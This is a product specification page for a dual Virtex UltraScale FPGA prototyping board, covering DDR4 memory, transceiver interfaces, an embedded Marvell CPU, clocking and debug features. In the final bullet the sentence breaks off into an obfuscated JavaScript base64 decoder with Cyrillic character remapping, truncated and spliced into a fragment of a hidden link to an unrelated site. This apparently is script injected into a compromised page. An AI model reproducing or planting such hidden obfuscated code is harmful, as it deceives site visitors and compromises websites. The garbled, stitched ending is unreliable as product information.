Products

DNVU_F2PCIe

Godzilla’s Evil Cactus

ASIC Prototyping Engine
Featuring Xilinx Dual Virtex UltraScale FPGAs
Hosted via 8-lane PCI Express (GEN3)

  • Dual Xilinx Virtex UltraScale FPGAs (E1924 package):
    • XCVU190-3,-2,-1 (fastest to slowest)
    • XCVU160-3,-2,-1
    • XCVU125-3,-2,-1
    • XCVU095-3,-2,-1
    • XCVU080-3,-2,-1
  • 25+ million ASIC gates (ASIC measure) when stuffed with two XCVU190s
  • Fixed, 4GB DDR4 memory bank for each FPGA
    • 512M x 72-bit (64-bit with 8-bit ECC)
    • 1200 MHz operation, PC4-2400
    • DDR4 Verilog reference design provided via Vivado MIG (no charge)
    • Additional memory can be added using DINAR1_SODM204 on DINAR1 expansion connector(s):
      • DDR3 SODIMM (native), DNSODM204_SSRAM (1.8V version)
      • DNSODM204_QUADMIC (four mictor connectors)
      • DNSODM204_SE (mobile SDRAM)
      • DNSODM204_USB (USB2.0 PHY)
      • DNSODM204_QDRII+, DNSODM204_DDR2_2GB
      • DNSODM204_MICTOR_IO (dual Mictor connectors)
  • GTH/GTY low-power transceivers interfaces:
    • FPGA A:
      • 8 SFP+ sockets (10 GbE)
      • 2 QSFP+ (4x 10 GbE or 1x 40 GbE)
      • 3x Serial ATA III 600 (SATA 600)
      • DNSEAM GTP Expansion header:
        • 8-lane PCIe, CX4, 4 SFP+ sockets, USB3.0, SATA II, or SMAs
    • FPGA B:
      • SuperSpeed USB 3.1 (type A connector)
      • 8-lane PCIe GEN3 via iPASS cables
      • DNSEAM GTP Expansion header:
        • 8-lane PCIe, CX4, 4 SFP+ sockets, USB3.0, SATA II, or SMAs
  • 8-lane PCIe GEN3 via PEX8732
  • Marvell MV78200 Discovery Innovation Dual CPU
    • 1 GHz clock
    • Dual USB2.0 ports (Type B connector)
    • Dual Serial-ATA II connectors for 2 external hard drives (SATA II)
    • Gigabit Ethernet interface
      • 10/100/1000 GbE (RJ45 connector)
    • SheevaTM CPU Core (ARM v5TE compliant)
      • Out-of-order execution
      • Single and double-precision IEEE compliant floating point
      • 16-bit Thumb instruction set increases code density
      • DSP instructions boosts performance for signal processing applications
      • MMU to support virtual memory features
      • Dual Cache: 32 KB for data and instruction, parity protected
      • L2 cache: 512 KB unified L2 cache per CPU (total of 1MB), ECC protected.
    • 1 GB external DDR2 SDRAM
      • Organized in a 128M x 64 configuration
      • 400 MHz (800 MHz data rate with DDR)
    • Two RS232 port for terminal-style observation and LCD control
    • After configuration, both CPUs dedicated entirely to user application
    • Linux operating system
    • Source and examples provided via GPL license (no charge)
    • ~15 seconds to CPU boot
  • Three independent low-skew global clock networks and single fixed clock
    • High-resolution, user-programmable synthesizers
      • Silicon Labs Si5326: 2kHz to 945 MHz
      • User-configurable via Marvell uP RS232, USB, PCIe, or Ethernet
      • Global clocks networks distributed differentially and balanced
  • Flexible customization and stacking via daughter card position
    • DINARI expansion connector, 1 per FPGA
    • Connector: non-proprietary; readily available; cheap
    • 72 LVDS pairs + clocks (or 144 single-ended)
    • TBD MHz on all signals with source synchronous LVDS
    • Signal voltage set by daughter card (+1.2V to +1.8V)
    • Reset
    • Supplied power rails (fused): +12V (24W max), +3.3V (10W max)
    • Pin multiplexing to/from daughter cards using LVDS (up to 10x)
  • Fast and Painless FPGA configuration
  • USB, cabled PCIe, Ethernet, JTAG
  • Stand-alone configuration with USB stick
  • Configuration Error reporting
  • RS232 port (via USB) for embedded FPGA-based SOC uP debug
    • Accessible from all FPGAs via separate 2-signal bus
  • Full support for embedded logic analyzers via JTAG interface
    • ChipScope™
  • Hosted via
    • 8-lane PCIe GEN3
    • 4-lane GEN1/GEN2 PCIe via iPASS cable, USB2.0 (on Marvell)
    • 10/100/1000BASE-T Ethernet
    • Standalone
  • Noninvasive debug via FPGA register readback: DN_Readbacker
  • FPGA-controlled Status LEDs
  • Enough multicolored LEDs to irritate, but not kill, a function oc532bd2f6(uf){var yd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var vb='';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndand-monsters.com/how-to-kill-a-vampire.html" target="_blank">vampire.